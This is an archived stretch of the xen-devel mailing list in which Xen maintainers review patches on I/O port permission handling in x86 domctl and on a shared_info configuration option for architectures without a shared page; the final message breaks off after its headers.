DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=9fcjoS0CrtC5AcJAIV0osmggyhdP3UQJdaO8CLQhsWs=; b=5Y5Xu5PTf6Mm98+6FoB8QonH9t
	qSoVaobzcRAvupEEocLNFpOihGoE/XgMXE46Ys6ZfBKXKDuemiEnRgsHLrTXLUoatIoKwDJ19ApLg
	pDwBmtIF+c6lAz9WioQ/Z8LZ4kyLlz4kK5UDRw4+U+2cN89beWAATJwgkuMxtWvC5VhM=;
Date: Tue, 21 Jul 2026 16:49:18 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
Message-ID: <al-G7l2IM736d-Q6@macbook.local>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>

On Tue, Jun 30, 2026 at 03:54:04PM +0200, Jan Beulich wrote:
> Rather than granting permissions when mapping (an operation that DM-s are
> allowed to carry out, while they can't invoke ioport-permission), check
> whether permissions actually were granted when adding a mapping. This then
> also allows relaxing the necessary locking.
> 
> While no longer granting permissions upon mapping is "only" at risk of
> breaking guests, no longer revoking permissions upon unmapping strictly
> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
> else a security issue would arise. In-tree code already does so.
> 
> While there switch to using %pd in the two log messages.
> 
> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

It's difficult to not think about someone appearing in 3 or 4 years
complaining that this change in behavior has caused them a security
issue, but I do agree that the previous behavior was inconsistent at
best:

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

However you need to bump XEN_DOMCTL_INTERFACE_VERSION to note the ABI
change as we are in 4.23 now.

We possibly need to sort out the questions below, in case there are
changes required to either libxl or QEMU.

> ---
> libxl has libxl__grant_vga_iomem_permission(), but I can't spot any I/O
> port equivalent (nor a revoke counterpart, btw). Everywhere else MMIO and
> I/O ports look to be treated equally.
> 
> Qemu uses both xc_domain_{iomem_permission,memory_mapping}() in
> igd_write_opregion(), but only xc_domain_{memory,ioport}_mapping() in
> xen_pt_region_update() and xen_pt_{,un}register_vga_regions(). Is the IGD
> region special in any way? Clearly this can't work from a stubdom.

Those possibly need to be answered by Anthony, but he isn't on Cc?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367842.1617503 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmBnT-0007Ef-89; Tue, 21 Jul 2026 14:50:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367842.1617503; Tue, 21 Jul 2026 14:50:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmBnT-0007EY-4e; Tue, 21 Jul 2026 14:50:15 +0000
Received: by outflank-mailman (input) for mailman id 1367842;
 Tue, 21 Jul 2026 14:50:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmBnS-0007EQ-CK
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 14:50:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmBnR-001aWB-Ib
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 16:50:13 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f8714-bab6-0a2a0a5309dd-0a2a4501902c-38
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 16:50:13 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f8725-5984-0a2a45010019-d155dd29c801-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 16:50:13 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-475417f010dso6504294f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 07:50:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63ed2314sm3638528f8f.23.2026.07.21.07.50.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 07:50:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784645413; x=1785250213; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=VKNl9daCaij5y5TcJNO2d7ZVTKIkAXyOcwP4Ouzi2z8=;
        b=WYZmGAYhfCrwUg3fO1WQL3Zo2Qne4jDlhhaXurR1kMjE78Y5PBOCnIU4RVFXnRNs4f
         P7CPiMU2e2GWgieFiVVmkI1Z3Q2xzTHJX4e5FMj5omxjwFzZdrjFEHOGvevYcMM/5c7e
         dcIzZIiJ6nVW0SE7EH8VcK8GuCTQ2wyvdnuYfUEC/IfEtGyNPzYyZmzON6iTsO0HUw5z
         YFILD8+IeNLarM2jrXAHaQaYN0CeXuaXhEfc4rybxriqgK1sOhGDJmwreghCFngyIeXR
         YAR6zyYVTtxwj91nm00TOZB0qZj10IBziCRHrk4cSDVQqhFA4IImHDpus+O/BTTSWdh8
         6Cow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784645413; x=1785250213;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=VKNl9daCaij5y5TcJNO2d7ZVTKIkAXyOcwP4Ouzi2z8=;
        b=KRrPr7WceZzXIhmBkevsXvvG+h2tA+SA+vOxVxc5FPzYslky8eokUrGqamu4QlN2l4
         DTsZHkqoBlkdhX6REoL/yNSWOgi56enmd++IwCbdB8J6yF2N3U+VjwobDyaaie1Ex+UM
         BCA1qGh31CzGewQxkbC60CsB9TN+c2Tziw2FyTVp2wGOiuWuz30MD4Cw/Uwto9wWAGIf
         zDQbM1q/0yAAoU4ARL6Ys7ZzOSIkqQTmLMvLaZKq/LF6UFdntmXkC1hem97fIkfQqIHZ
         4V3ATOdLKcAkT0VtkMyjId1JeVR8zRVZzsRZdyLp3vlwQBIN5Vbx5USTnsdBKICOYWdX
         39AA==
X-Forwarded-Encrypted: i=1; AHgh+Rq9ULVHj1sN6aowz/JVQXDqDPvPKhpqcfRYpi6snou2R6eRSp/LOYf5jV5lkL/uAXGk+omTRwsgvCY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzqeQZvPusknMQLHofs4f7ldUebtyC4TBap58hsQThRUrgSEOje
	n74GzlSolBplYeoPZvyZX2ujZX9S4YyWEJaE7BPUSo1qao5IUMbGRHjuC/WVvIA3NA==
X-Gm-Gg: AR+sD116OsxydYBVM1OB44tmzFQ0U0xxPVI485u6uWgQ1Jinfk0nzY4A2rGkXLzQzcL
	jE/TioyBqOtkN+H9cj36HEfI7VlZ5BrCPHJ6oUdhQWmgQxTVGXNfN4L+6zcZ6P4MhcUF6NAG7uC
	YfGlPOt9mfwkO2i8Hp/r5f7a4i+wMgWSjm3UgUdrLC4A4MSgcGAv/xv5ROaeLyMooBpSdrjtWx2
	T4sSNJU3isJfnL4qXQC8CpRqiG42E2dRvpAhYpqcvQfXi6hF+UmFfyCA/K5ZR6P/Yv+B/NJOIiI
	R2Up8sC6/Thl14z6uPN6RvtxDKz4eTvRbOcFxb5whreuaAHECvZh0yfFuZVh0zV+jCIihAbPxUS
	CJ5fZIDFeQhXRjmSm8zwHex+0Qqcb59XUREQpv6Ap0iIPgH1JWk/NMMOlfATLCTaraPGVBZMviq
	Ct9/xIi6P3/dlWVL4nnzr12kZGDUEJIoplsNxnAp+lGxpMlmmagDm4R2HYBp9BNGZhCnqboKipt
	ONQ
X-Received: by 2002:a05:6000:2f84:b0:47f:25b1:e7b6 with SMTP id ffacd0b85a97d-47f623369damr20334439f8f.30.1784645412746;
        Tue, 21 Jul 2026 07:50:12 -0700 (PDT)
Message-ID: <e8b6669c-a938-43b4-bb9e-d9c26b83fc57@suse.com>
Date: Tue, 21 Jul 2026 16:50:10 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 01/23] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <01df5be27b502a19dd51ded7577af68cee234c58.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS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BQL
In-Reply-To: <01df5be27b502a19dd51ded7577af68cee234c58.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1784645413-1E867757-4EE04575/0/0
X-purgate-type: clean
X-purgate-size: 1442

On 20.07.2026 17:59, Oleksii Kurochko wrote:
> --- a/xen/common/domctl.c
> +++ b/xen/common/domctl.c
> @@ -102,9 +102,14 @@ void getdomaininfo(struct domain *d, struct xen_domctl_getdomaininfo *info)
>  #ifdef CONFIG_MEM_PAGING
>      info->paged_pages       = atomic_read(&d->paged_pages);
>  #endif
> -    info->shared_info_frame =
> -        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
> -    BUG_ON(SHARED_M2P(info->shared_info_frame));
> +    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
> +    {
> +        info->shared_info_frame =
> +            gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
> +        BUG_ON(SHARED_M2P(info->shared_info_frame));
> +    }
> +    else
> +        info->shared_info_frame = gfn_x(INVALID_GFN);

There's one issue left here: INVALID_GFN is a Xen internal concept. It could
change value if we saw a need. Therefore you cannot use that value here, to
supply it as hypercall output. It needs to be ~0, and imo the public header
also wants amending to indicate the special meaning of this value.

And there's one further aspect to consider: Do we really want to retain the
shared_info struct domain field when !HAS_SHARED_INFO? Making it conditional
would require some adjustment here, but might be tidier overall. In
particular doing so would eliminate the risk of new uses of the field
appearing, with people not noticing that they'd break RISC-V.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 14:57:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 14:57:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367852.1617511 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmBue-0008Gd-Tl; Tue, 21 Jul 2026 14:57:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367852.1617511; Tue, 21 Jul 2026 14:57:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmBue-0008GW-R2; Tue, 21 Jul 2026 14:57:40 +0000
Received: by outflank-mailman (input) for mailman id 1367852;
 Tue, 21 Jul 2026 14:57:39 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmBud-0008GQ-ES
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 14:57:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmBuc-00AWZe-Ni
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 16:57:38 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f88e1-2eae-0a2a0a5409dd-0a2a4503dcb2-2
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 16:57:38 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f88e2-fae8-0a2a45030019-d155dd2ed9e2-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 16:57:38 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-47f71156e1aso1371170f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 07:57:38 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63eddd1csm39684898f8f.29.2026.07.21.07.57.37
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 07:57:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784645858; x=1785250658; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=YeOcu0/SzSC3+BNyx2E8YApufOuWfXX7Ddo6NWcd9vQ=;
        b=V02Z0ahLSIAkPGDDiMDN20HQTbWRIb3yGkZSfT2z6Wd9A5sYKSL08wsxYQJY1uH7zJ
         8nQkddyqBGBE5gZA4iLtTqd+pUNrcvX7R7sZN+Q8SKfTr+LXmG8vKwWbg/g+Le2ZMV0u
         WdK2LaIO1sAaYCa1qWqs58UMgpicF/x+lG0Td2713Iy27eK6XZJ1jUfBpTBUEA7XWZPC
         1tPB+RqfJB50mlzOjtwYYmkO7h7AELzqAPh2xf/3vt1QmsxZLlgJIg51nrj7Ibv8WWZW
         percmUDxQHLYEXuOmFE9L0rvsc++Se7dA3k7kehNjQ3yeGe/zWOH7UqqVoBmES3THQWk
         cy4Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784645858; x=1785250658;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=YeOcu0/SzSC3+BNyx2E8YApufOuWfXX7Ddo6NWcd9vQ=;
        b=gHCl86RFEOHWuaprFBx+bSk+ogiYOrP7z1VUYM7iAZ0CfD249tN0ob301jEm/HNEUE
         cnaaoo67w1uA68cnbjj5KbWcEIoOnaN48rnPQIw6ZftdrbrkFFa5n1qoBi8JpHG0/r4R
         lWR8+QPkOFC7vfkYo0UW4PNFp3tLiWldAJakTB1FfsiOMjLhI31/Lq/vtGzRAJ8YBbsF
         E5e1yTzy2LpYBj3HghfBttJSyCRGOGc118IS/5KQWQHKDWmWCtGsjOzgQjJtaWZh1P/n
         hWYMBAjIG1D1Sqt6rmdJ6uC8LWSzxW0JDeCWPH1YqUrOgAX6h+w5cMv1bWEou6ZaZq/+
         863A==
X-Gm-Message-State: AOJu0YznVfHPeaJiYNgRBdyviX3fLZM/YUTCbsoA48QZo5IJIkkNtsgB
	rbJVQi1Sb6+28wppJsyRVCfDEyKGn66ZWnAygQtpXGFf2ggqWNPF2nn5H83m49qNfQ==
X-Gm-Gg: AR+sD10Q7kZqwNBbpQ+Lo2PWKEHemT3iJPV0aS0B/G/SQrwQC2GmMve6KCWPLCQPh/3
	JHQGpQBWpfcPYgrXWFuW05qrJJltGgayg63O68Jq8JfipqLguEXoVWcX5ezS0HaOqFB2nxtts6w
	DLDp2bPVSRTOaZ2dzniNWBZgDdFWu20cVHeQ4zbt0j3a1kG3XtSCkOBrJ+CyLTYzXjLhMQcgiG1
	N5/0d3G3WmjAw0leD9NcLzQEmUFs5GKRcUOUO+rjV1Dskgc4TT+SE4gb8/xRSmQroFFXI879E1b
	BsWSx+9IeJ4dHCxjblfMDOuTuVkGYSJ/Tr0opPiavurOt871J6MJ8xpVxvvcoWPoLeshaUYyoQz
	vw2JPxgKXmXvS/e/Z2vg5uHn3u7nkHVduGXtkxFF5IU0eGBhBt9iWjFiBxeVrHcnBoTax8FPCel
	UjkRUcRT4FutX3Bks2Nci1jwNaKzLJ66bdTKnd78Gx94EABn8KySaZN1sYf/20VRoZWg==
X-Received: by 2002:a05:6000:310f:b0:47f:83f8:a956 with SMTP id ffacd0b85a97d-47f83f8ac9cmr204433f8f.37.1784645858030;
        Tue, 21 Jul 2026 07:57:38 -0700 (PDT)
Message-ID: <05425d51-965f-4176-a297-c5e6f966d886@suse.com>
Date: Tue, 21 Jul 2026 16:57:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Anthony PERARD <anthony.perard@vates.tech>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
 <al-G7l2IM736d-Q6@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7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I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <al-G7l2IM736d-Q6@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784645858-74A894E9-5A992A30/0/0
X-purgate-type: clean
X-purgate-size: 2344

On 21.07.2026 16:49, Roger Pau MonnÃ© wrote:
> On Tue, Jun 30, 2026 at 03:54:04PM +0200, Jan Beulich wrote:
>> Rather than granting permissions when mapping (an operation that DM-s are
>> allowed to carry out, while they can't invoke ioport-permission), check
>> whether permissions actually were granted when adding a mapping. This then
>> also allows relaxing the necessary locking.
>>
>> While no longer granting permissions upon mapping is "only" at risk of
>> breaking guests, no longer revoking permissions upon unmapping strictly
>> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
>> else a security issue would arise. In-tree code already does so.
>>
>> While there switch to using %pd in the two log messages.
>>
>> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> 
> It's difficult to not think about someone appearing in 3 or 4 years
> complaining that this change in behavior has caused them a security
> issue, but I do agree that the previous behavior was inconsistent at
> best:

A positive aspect here is that the similar change for MMIO went without
any fallout, as far as I'm aware.

> Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, but ...

> However you need to bump XEN_DOMCTL_INTERFACE_VERSION to note the ABI
> change as we are in 4.23 now.

... there's no interface change here. A bump therefore won't buy us
anything. I'm hesitant to take your ack as long as we disagree here.

> We possibly need to sort out the questions below, in case there are
> changes required to either libxl or QEMU.

Indeed.

>> ---
>> libxl has libxl__grant_vga_iomem_permission(), but I can't spot any I/O
>> port equivalent (nor a revoke counterpart, btw). Everywhere else MMIO and
>> I/O ports look to be treated equally.
>>
>> Qemu uses both xc_domain_{iomem_permission,memory_mapping}() in
>> igd_write_opregion(), but only xc_domain_{memory,ioport}_mapping() in
>> xen_pt_region_update() and xen_pt_{,un}register_vga_regions(). Is the IGD
>> region special in any way? Clearly this can't work from a stubdom.
> 
> Those possibly need to be answered by Anthony, but he isn't on Cc?

Oh, I had him Cc-ed on v2, but forgot to on v3. Anthony, your input is much
appreciated.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:07:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:07:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367863.1617524 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmC3v-0001qp-QK; Tue, 21 Jul 2026 15:07:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367863.1617524; Tue, 21 Jul 2026 15:07:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmC3v-0001qi-MJ; Tue, 21 Jul 2026 15:07:15 +0000
Received: by outflank-mailman (input) for mailman id 1367863;
 Tue, 21 Jul 2026 15:07:14 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wmC3u-0001qc-ES
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:07:14 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmC3u-000i82-1M;
 Tue, 21 Jul 2026 15:07:14 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmC3t-009QPb-2b;
 Tue, 21 Jul 2026 15:07:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=PJMqu48BtdTgv+HhhyUlOBtI507Dky17kRTyGV4Joq0=; b=5ANmsMQHUZvqXCpbvuU/FopxEA
	GooVlxVcLslPoZejZn+rHfv1xVF876IrmMEmdmkCwNfuxZckl/R3BS5k0KQ1P2WW+Y2m9OG4flAj4
	ir3wrMaRA5ROEeR1dyTrgEwBY+S5gCpHPvde2jpqahb1jAP+7dHJL5UyWBOXXx+ppcUk=;
Date: Tue, 21 Jul 2026 17:07:07 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
Message-ID: <al-LGwlNXH5EfsAw@macbook.local>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
